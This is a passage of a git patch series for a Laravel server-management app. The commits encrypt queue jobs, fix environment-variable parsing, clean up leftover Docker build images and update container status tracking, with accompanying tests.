a/tests/Unit/ServiceIndexValidationTest.php b/tests/Unit/ServiceIndexValidationTest.php new file mode 100644 index 000000000..7b746cde6 --- /dev/null +++ b/tests/Unit/ServiceIndexValidationTest.php @@ -0,0 +1,11 @@ + $this->rules)->call($component); + + expect($rules['publicPortTimeout']) + ->toContain('min:1'); +}); From 470cc15e626ba48343c0ab6b79abd19742e5e0ef Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 14:05:05 +0100 Subject: [PATCH 155/305] feat(jobs): implement encrypted queue jobs - Add ShouldBeEncrypted interface to all queue jobs to encrypt sensitive job payloads - Configure explicit retry policies for messaging jobs (5 attempts, 10-second backoff) --- app/Jobs/CheckTraefikVersionForServerJob.php | 3 ++- app/Jobs/CheckTraefikVersionJob.php | 3 ++- app/Jobs/RegenerateSslCertJob.php | 3 ++- app/Jobs/SendMessageToSlackJob.php | 13 ++++++++++++- app/Jobs/SendMessageToTelegramJob.php | 5 +++++ app/Jobs/ServerManagerJob.php | 3 ++- app/Jobs/StripeProcessJob.php | 3 ++- app/Jobs/SyncStripeSubscriptionsJob.php | 3 ++- app/Jobs/ValidateAndInstallServerJob.php | 3 ++- app/Jobs/VerifyStripeSubscriptionStatusJob.php | 3 ++- 10 files changed, 33 insertions(+), 9 deletions(-) diff --git a/app/Jobs/CheckTraefikVersionForServerJob.php b/app/Jobs/CheckTraefikVersionForServerJob.php index 92ec4cbd4..91869eb12 100644 --- a/app/Jobs/CheckTraefikVersionForServerJob.php +++ b/app/Jobs/CheckTraefikVersionForServerJob.php @@ -6,12 +6,13 @@ use App\Models\Server; use App\Notifications\Server\TraefikVersionOutdated; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class CheckTraefikVersionForServerJob implements ShouldQueue +class CheckTraefikVersionForServerJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/CheckTraefikVersionJob.php b/app/Jobs/CheckTraefikVersionJob.php index a513f280e..ac94aa23f 100644 --- a/app/Jobs/CheckTraefikVersionJob.php +++ b/app/Jobs/CheckTraefikVersionJob.php @@ -5,12 +5,13 @@ use App\Enums\ProxyTypes; use App\Models\Server; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class CheckTraefikVersionJob implements ShouldQueue +class CheckTraefikVersionJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/RegenerateSslCertJob.php b/app/Jobs/RegenerateSslCertJob.php index c0284e1ee..6f49cf30b 100644 --- a/app/Jobs/RegenerateSslCertJob.php +++ b/app/Jobs/RegenerateSslCertJob.php @@ -7,13 +7,14 @@ use App\Models\Team; use App\Notifications\SslExpirationNotification; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class RegenerateSslCertJob implements ShouldQueue +class RegenerateSslCertJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/SendMessageToSlackJob.php b/app/Jobs/SendMessageToSlackJob.php index fcd87a9dd..f869fd602 100644 --- a/app/Jobs/SendMessageToSlackJob.php +++ b/app/Jobs/SendMessageToSlackJob.php @@ -4,16 +4,27 @@ use App\Notifications\Dto\SlackMessage; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Http; -class SendMessageToSlackJob implements ShouldQueue +class SendMessageToSlackJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; + /** + * The number of times the job may be attempted. + */ + public $tries = 5; + + /** + * The number of seconds to wait before retrying the job. + */ + public $backoff = 10; + public function __construct( private SlackMessage $message, private string $webhookUrl diff --git a/app/Jobs/SendMessageToTelegramJob.php b/app/Jobs/SendMessageToTelegramJob.php index 6b0a64ae3..6b04d2191 100644 --- a/app/Jobs/SendMessageToTelegramJob.php +++ b/app/Jobs/SendMessageToTelegramJob.php @@ -22,6 +22,11 @@ class SendMessageToTelegramJob implements ShouldBeEncrypted, ShouldQueue */ public $tries = 5; + /** + * The number of seconds to wait before retrying the job. + */ + public $backoff = 10; + /** * The maximum number of unhandled exceptions to allow before failing. */ diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php index c8219a2ea..730ce547d 100644 --- a/app/Jobs/ServerManagerJob.php +++ b/app/Jobs/ServerManagerJob.php @@ -7,6 +7,7 @@ use App\Models\Team; use Cron\CronExpression; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; @@ -15,7 +16,7 @@ use Illuminate\Support\Collection; use Illuminate\Support\Facades\Log; -class ServerManagerJob implements ShouldQueue +class ServerManagerJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/StripeProcessJob.php b/app/Jobs/StripeProcessJob.php index aebceaa6d..e61ac81e4 100644 --- a/app/Jobs/StripeProcessJob.php +++ b/app/Jobs/StripeProcessJob.php @@ -4,11 +4,12 @@ use App\Models\Subscription; use App\Models\Team; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Queue\Queueable; use Illuminate\Support\Str; -class StripeProcessJob implements ShouldQueue +class StripeProcessJob implements ShouldBeEncrypted, ShouldQueue { use Queueable; diff --git a/app/Jobs/SyncStripeSubscriptionsJob.php b/app/Jobs/SyncStripeSubscriptionsJob.php index 4301a80d1..0e221756d 100644 --- a/app/Jobs/SyncStripeSubscriptionsJob.php +++ b/app/Jobs/SyncStripeSubscriptionsJob.php @@ -4,12 +4,13 @@ use App\Models\Subscription; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class SyncStripeSubscriptionsJob implements ShouldQueue +class SyncStripeSubscriptionsJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/ValidateAndInstallServerJob.php b/app/Jobs/ValidateAndInstallServerJob.php index b5e1929de..9f02f9b78 100644 --- a/app/Jobs/ValidateAndInstallServerJob.php +++ b/app/Jobs/ValidateAndInstallServerJob.php @@ -8,13 +8,14 @@ use App\Events\ServerValidated; use App\Models\Server; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Log; -class ValidateAndInstallServerJob implements ShouldQueue +class ValidateAndInstallServerJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; diff --git a/app/Jobs/VerifyStripeSubscriptionStatusJob.php b/app/Jobs/VerifyStripeSubscriptionStatusJob.php index 58b6944a2..cf7c3c0ea 100644 --- a/app/Jobs/VerifyStripeSubscriptionStatusJob.php +++ b/app/Jobs/VerifyStripeSubscriptionStatusJob.php @@ -4,12 +4,13 @@ use App\Models\Subscription; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; -class VerifyStripeSubscriptionStatusJob implements ShouldQueue +class VerifyStripeSubscriptionStatusJob implements ShouldBeEncrypted, ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; From 872e300cf9ca606cd68e89aa1a56b3e5892fcedc Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 17:14:08 +0100 Subject: [PATCH 156/305] fix(subscription): use optional chaining for preview object access Add optional chaining operator (?.) to all preview property accesses in the subscription actions view to prevent potential null reference errors when the preview object is undefined. --- resources/views/livewire/subscription/actions.blade.php | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/resources/views/livewire/subscription/actions.blade.php b/resources/views/livewire/subscription/actions.blade.php index 4b276aaf6..c2bc7f221 100644 --- a/resources/views/livewire/subscription/actions.blade.php +++ b/resources/views/livewire/subscription/actions.blade.php @@ -139,7 +139,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
Due now
Prorated charge - +

Charged immediately to your payment method.

@@ -147,8 +147,8 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
Next billing cycle
- - + +
@@ -156,7 +156,7 @@ class="w-20 px-2 py-1 text-xl font-bold text-center rounded border dark:bg-coolg
Total / month - +
From a36228297632177c85a45384ee6f9fc5988bc7de Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 17:37:13 +0100 Subject: [PATCH 157/305] chore: prepare for PR --- bootstrap/helpers/parsers.php | 24 ++++++++++---- bootstrap/helpers/services.php | 5 +++ .../NestedEnvironmentVariableParsingTest.php | 33 +++++++++++++++++++ 3 files changed, 56 insertions(+), 6 deletions(-) diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index fa40857ac..6b66de8a2 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -442,9 +442,9 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int $value = str($value); $regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/'; preg_match_all($regex, $value, $valueMatches); - if (count($valueMatches[1]) > 0) { - foreach ($valueMatches[1] as $match) { - $match = replaceVariables($match); + if (count($valueMatches[2]) > 0) { + foreach ($valueMatches[2] as $match) { + $match = str($match); if ($match->startsWith('SERVICE_')) { if ($magicEnvironments->has($match->value())) { continue; @@ -1509,6 +1509,18 @@ function serviceParser(Service $resource): Collection return collect([]); } $services = data_get($yaml, 'services', collect([])); + + // Clean up corrupted environment variables from previous parser bugs + // (keys starting with $ or ending with } should not exist as env var names) + $resource->environment_variables() + ->where('resourceable_type', get_class($resource)) + ->where('resourceable_id', $resource->id) + ->where(function ($q) { + $q->where('key', 'LIKE', '$%') + ->orWhere('key', 'LIKE', '%}'); + }) + ->delete(); + $topLevel = collect([ 'volumes' => collect(data_get($yaml, 'volumes', [])), 'networks' => collect(data_get($yaml, 'networks', [])), @@ -1686,9 +1698,9 @@ function serviceParser(Service $resource): Collection $value = str($value); $regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/'; preg_match_all($regex, $value, $valueMatches); - if (count($valueMatches[1]) > 0) { - foreach ($valueMatches[1] as $match) { - $match = replaceVariables($match); + if (count($valueMatches[2]) > 0) { + foreach ($valueMatches[2] as $match) { + $match = str($match); if ($match->startsWith('SERVICE_')) { if ($magicEnvironments->has($match->value())) { continue; diff --git a/bootstrap/helpers/services.php b/bootstrap/helpers/services.php index bd741b76e..20b184a01 100644 --- a/bootstrap/helpers/services.php +++ b/bootstrap/helpers/services.php @@ -128,6 +128,11 @@ function replaceVariables(string $variable): Stringable return $str->replaceFirst('{', '')->before('}'); } + // Handle bare $VAR format (no braces) + if ($str->startsWith('$')) { + return $str->replaceFirst('$', ''); + } + return $str; } diff --git a/tests/Unit/NestedEnvironmentVariableParsingTest.php b/tests/Unit/NestedEnvironmentVariableParsingTest.php index 65e8738cc..b98f49dd7 100644 --- a/tests/Unit/NestedEnvironmentVariableParsingTest.php +++ b/tests/Unit/NestedEnvironmentVariableParsingTest.php @@ -206,6 +206,39 @@ expect($split['default'])->toBe('${SERVICE_URL_CONFIG}/v2/config.json'); }); +test('replaceVariables strips leading dollar sign from bare $VAR format', function () { + // Bug #8851: When a compose value is $SERVICE_USER_POSTGRES (bare $VAR, no braces), + // replaceVariables must strip the $ so the parsed name is SERVICE_USER_POSTGRES. + // Without this, the fallback code path creates a DB entry with key=$SERVICE_USER_POSTGRES. + expect(replaceVariables('$SERVICE_USER_POSTGRES')->value())->toBe('SERVICE_USER_POSTGRES') + ->and(replaceVariables('$SERVICE_PASSWORD_POSTGRES')->value())->toBe('SERVICE_PASSWORD_POSTGRES') + ->and(replaceVariables('$SERVICE_FQDN_APPWRITE')->value())->toBe('SERVICE_FQDN_APPWRITE'); +}); + +test('bare dollar variable in bash-style fallback does not capture trailing brace', function () { + // Bug #8851: ${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE} causes the regex to + // capture "SERVICE_FQDN_APPWRITE}" (with trailing }) because \}? in the regex + // greedily matches the closing brace of the outer ${...} construct. + // The fix uses capture group 2 (clean variable name) instead of group 1. + $value = '${_APP_DOMAIN:-$SERVICE_FQDN_APPWRITE}'; + + $regex = '/\$(\{?([a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*)\}?)/'; + preg_match_all($regex, $value, $valueMatches); + + // Group 2 should contain clean variable names without any braces + expect($valueMatches[2])->toContain('_APP_DOMAIN') + ->and($valueMatches[2])->toContain('SERVICE_FQDN_APPWRITE'); + + // Verify no match in group 2 has trailing } + foreach ($valueMatches[2] as $match) { + expect($match)->not->toEndWith('}', "Variable name '{$match}' should not end with }"); + } + + // Group 1 (previously used) would have the bug — SERVICE_FQDN_APPWRITE} + // This demonstrates why group 2 must be used instead + expect($valueMatches[1])->toContain('SERVICE_FQDN_APPWRITE}'); +}); + test('operator precedence with nesting', function () { // The first :- at depth 0 should be used, not the one inside nested braces $input = '${A:-${B:-default}}'; From 0679e91c85f283a527f1db46fb00c6a18f415659 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 18:06:01 +0100 Subject: [PATCH 158/305] fix(parser): use firstOrCreate instead of updateOrCreate for environment variables Prevent unnecessary updates to existing environment variable records. The previous implementation would update matching records, but the intent is to retrieve or create the record without modifying existing ones. --- bootstrap/helpers/parsers.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 6b66de8a2..99ce9185a 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1940,7 +1940,7 @@ function serviceParser(Service $resource): Collection } else { $value = generateEnvValue($command, $resource); - $resource->environment_variables()->updateOrCreate([ + $resource->environment_variables()->firstOrCreate([ 'key' => $key->value(), 'resourceable_type' => get_class($resource), 'resourceable_id' => $resource->id, From 9702543e20db46e2c1d34b41fbc5fe0f5e1f0d26 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 18:32:19 +0100 Subject: [PATCH 159/305] chore: prepare for PR --- app/Actions/Server/CleanupDocker.php | 25 +++- .../Unit/Actions/Server/CleanupDockerTest.php | 134 +++++++++++++++++- 2 files changed, 154 insertions(+), 5 deletions(-) diff --git a/app/Actions/Server/CleanupDocker.php b/app/Actions/Server/CleanupDocker.php index 65a41db18..0d9ca0153 100644 --- a/app/Actions/Server/CleanupDocker.php +++ b/app/Actions/Server/CleanupDocker.php @@ -177,9 +177,10 @@ private function cleanupApplicationImages(Server $server, $applications = null): ->filter(fn ($image) => ! empty($image['tag'])); // Separate images into categories - // PR images (pr-*) and build images (*-build) are excluded from retention - // Build images will be cleaned up by docker image prune -af + // PR images (pr-*) are always deleted + // Build images (*-build) are cleaned up to match retained regular images $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-')); + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); // Always delete all PR images @@ -209,6 +210,26 @@ private function cleanupApplicationImages(Server $server, $applications = null): 'output' => $deleteOutput ?? 'Image removed or was in use', ]; } + + // Clean up build images (-build suffix) that don't correspond to retained regular images + // Build images are intermediate artifacts (e.g. Nixpacks) not used by running containers. + // If a build is in progress, docker rmi will fail silently since the image is in use. + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + foreach ($buildImages as $image) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + if (! $keptTags->contains($baseTag)) { + $deleteCommand = "docker rmi {$image['image_ref']} 2>/dev/null || true"; + $deleteOutput = instant_remote_process([$deleteCommand], $server, false); + $cleanupLog[] = [ + 'command' => $deleteCommand, + 'output' => $deleteOutput ?? 'Build image removed or was in use', + ]; + } + } } return $cleanupLog; diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php index 630b1bf53..fc8b8ab9b 100644 --- a/tests/Unit/Actions/Server/CleanupDockerTest.php +++ b/tests/Unit/Actions/Server/CleanupDockerTest.php @@ -8,9 +8,7 @@ Mockery::close(); }); -it('categorizes images correctly into PR and regular images', function () { - // Test the image categorization logic - // Build images (*-build) are excluded from retention and handled by docker image prune +it('categorizes images correctly into PR, build, and regular images', function () { $images = collect([ ['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'], ['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'], @@ -25,6 +23,11 @@ expect($prImages)->toHaveCount(2); expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456'); + // Build images (tags ending with '-build', excluding PR builds) + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + expect($buildImages)->toHaveCount(2); + expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build'); + // Regular images (neither PR nor build) - these are subject to retention policy $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); expect($regularImages)->toHaveCount(2); @@ -340,3 +343,128 @@ // Other images should not be protected expect(preg_match($pattern, 'nginx:alpine'))->toBe(0); }); + +it('deletes build images not matching retained regular images', function () { + // Simulates the Nixpacks scenario from issue #8765: + // Many -build images accumulate because they were excluded from both cleanup paths + $images = collect([ + ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], + ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], + ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'], + ['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'], + ['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'], + ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], + ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'], + ['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'], + ['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'], + ['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'], + ]); + + $currentTag = 'commit5'; + $imagesToKeep = 2; + + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); + + $sortedRegularImages = $regularImages + ->filter(fn ($image) => $image['tag'] !== $currentTag) + ->sortByDesc('created_at') + ->values(); + + // Determine kept tags: current + N newest rollback + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + // Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback) + expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3'); + + // Build images to delete: those whose base tag is NOT in keptTags + $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return ! $keptTags->contains($baseTag); + }); + + // Should delete commit1-build and commit2-build (their base tags are not kept) + expect($buildImagesToDelete)->toHaveCount(2); + expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build'); + + // Should keep commit3-build, commit4-build, commit5-build (matching retained images) + $buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return $keptTags->contains($baseTag); + }); + expect($buildImagesToKeep)->toHaveCount(3); + expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build'); +}); + +it('deletes all build images when retention is disabled', function () { + $images = collect([ + ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], + ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'], + ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], + ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'], + ]); + + $currentTag = 'commit2'; + $imagesToKeep = 0; // Retention disabled + + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); + + $sortedRegularImages = $regularImages + ->filter(fn ($image) => $image['tag'] !== $currentTag) + ->sortByDesc('created_at') + ->values(); + + // With imagesToKeep=0, only current tag is kept + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return ! $keptTags->contains($baseTag); + }); + + // commit1-build should be deleted (not retained), commit2-build kept (matches running) + expect($buildImagesToDelete)->toHaveCount(1); + expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build'); +}); + +it('preserves build image for currently running tag', function () { + $images = collect([ + ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'], + ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'], + ]); + + $currentTag = 'commit1'; + $imagesToKeep = 2; + + $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build')); + $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build')); + + $sortedRegularImages = $regularImages + ->filter(fn ($image) => $image['tag'] !== $currentTag) + ->sortByDesc('created_at') + ->values(); + + $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag'); + if (! empty($currentTag)) { + $keptTags = $keptTags->push($currentTag); + } + + $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) { + $baseTag = preg_replace('/-build$/', '', $image['tag']); + + return ! $keptTags->contains($baseTag); + }); + + // Build image for running tag should NOT be deleted + expect($buildImagesToDelete)->toHaveCount(0); +}); From e41dbde46bd76578a3316c14c206aa56148af9e0 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 10 Mar 2026 18:34:37 +0100 Subject: [PATCH 160/305] chore: prepare for PR --- app/Actions/Docker/GetContainersStatus.php | 12 +++ app/Jobs/PushServerUpdateJob.php | 4 + .../PushServerUpdateJobLastOnlineTest.php | 101 ++++++++++++++++++ ...inersStatusEmptyContainerSafeguardTest.php | 54 ++++++++++ 4 files changed, 171 insertions(+) create mode 100644 tests/Feature/PushServerUpdateJobLastOnlineTest.php create mode 100644 tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php diff --git a/app/Actions/Docker/GetContainersStatus.php b/app/Actions/Docker/GetContainersStatus.php index 6c9a54f77..5966876c6 100644 --- a/app/Actions/Docker/GetContainersStatus.php +++ b/app/Actions/Docker/GetContainersStatus.php @@ -327,6 +327,12 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti if (str($exitedService->status)->startsWith('exited')) { continue; } + + // Only protection: If no containers at all, Docker query might have failed + if ($this->containers->isEmpty()) { + continue; + } + $name = data_get($exitedService, 'name'); $fqdn = data_get($exitedService, 'fqdn'); if ($name) { @@ -406,6 +412,12 @@ public function handle(Server $server, ?Collection $containers = null, ?Collecti if (str($database->status)->startsWith('exited')) { continue; } + + // Only protection: If no containers at all, Docker query might have failed + if ($this->containers->isEmpty()) { + continue; + } + // Reset restart tracking when database exits completely $database->update([ 'status' => 'exited', diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index 85684ff19..5e598cecd 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -399,6 +399,8 @@ private function updateApplicationStatus(string $applicationId, string $containe if ($application->status !== $containerStatus) { $application->status = $containerStatus; $application->save(); + } else { + $application->update(['last_online_at' => now()]); } } @@ -508,6 +510,8 @@ private function updateDatabaseStatus(string $databaseUuid, string $containerSta if ($database->status !== $containerStatus) { $database->status = $containerStatus; $database->save(); + } else { + $database->update(['last_online_at' => now()]); } if ($this->isRunning($containerStatus) && $tcpProxy) { $tcpProxyContainerFound = $this->containers->filter(function ($value, $key) use ($databaseUuid) { diff --git a/tests/Feature/PushServerUpdateJobLastOnlineTest.php b/tests/Feature/PushServerUpdateJobLastOnlineTest.php new file mode 100644 index 000000000..5d2fd6c6a --- /dev/null +++ b/tests/Feature/PushServerUpdateJobLastOnlineTest.php @@ -0,0 +1,101 @@ +create(); + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'status' => 'running:healthy', + 'last_online_at' => now()->subMinutes(5), + ]); + + $server = $database->destination->server; + + $data = [ + 'containers' => [ + [ + 'name' => $database->uuid, + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => 'true', + 'coolify.type' => 'database', + 'com.docker.compose.service' => $database->uuid, + ], + ], + ], + ]; + + $oldLastOnline = $database->last_online_at; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + $database->refresh(); + + // last_online_at should be updated even though status didn't change + expect($database->last_online_at->greaterThan($oldLastOnline))->toBeTrue(); + expect($database->status)->toBe('running:healthy'); +}); + +test('database status is updated when container status changes', function () { + $team = Team::factory()->create(); + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'status' => 'exited', + ]); + + $server = $database->destination->server; + + $data = [ + 'containers' => [ + [ + 'name' => $database->uuid, + 'state' => 'running', + 'health_status' => 'healthy', + 'labels' => [ + 'coolify.managed' => 'true', + 'coolify.type' => 'database', + 'com.docker.compose.service' => $database->uuid, + ], + ], + ], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + $database->refresh(); + + expect($database->status)->toBe('running:healthy'); +}); + +test('database is not marked exited when containers list is empty', function () { + $team = Team::factory()->create(); + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'status' => 'running:healthy', + ]); + + $server = $database->destination->server; + + // Empty containers = Sentinel might have failed, should NOT mark as exited + $data = [ + 'containers' => [], + ]; + + $job = new PushServerUpdateJob($server, $data); + $job->handle(); + + $database->refresh(); + + // Status should remain running, NOT be set to exited + expect($database->status)->toBe('running:healthy'); +}); diff --git a/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php b/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php new file mode 